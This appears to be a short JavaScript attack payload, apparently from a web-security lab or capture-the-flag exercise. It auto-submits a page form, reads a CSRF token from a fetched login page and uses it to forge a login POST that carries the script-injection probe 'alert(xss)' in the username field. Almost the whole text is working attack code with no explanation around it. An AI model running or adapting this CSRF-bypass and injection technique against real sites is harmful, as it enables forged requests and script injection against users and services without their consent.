document.getElementsByTagName('form')[0].submit();

function request(url, type, callback, send){
      var oReq = new XMLHttpRequest();
      oReq.open(type, url, true);
      oReq.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
      oReq.onload = callback;
      oReq.send(send);
  };
  function getListener () {
      var el = document.createElement('div');
      el.innerHTML = this.responseText;
      request('login', 'POST', postListener, 'csrf_tok=' + el.querySelector('input[name="csrf_tok"]').value + '&Login=alert(xss)'+ '&Pass=12345678');
  };
  function postListener(){
      console.log(this.responseText)
  };
  request('login', 'GET', getListener);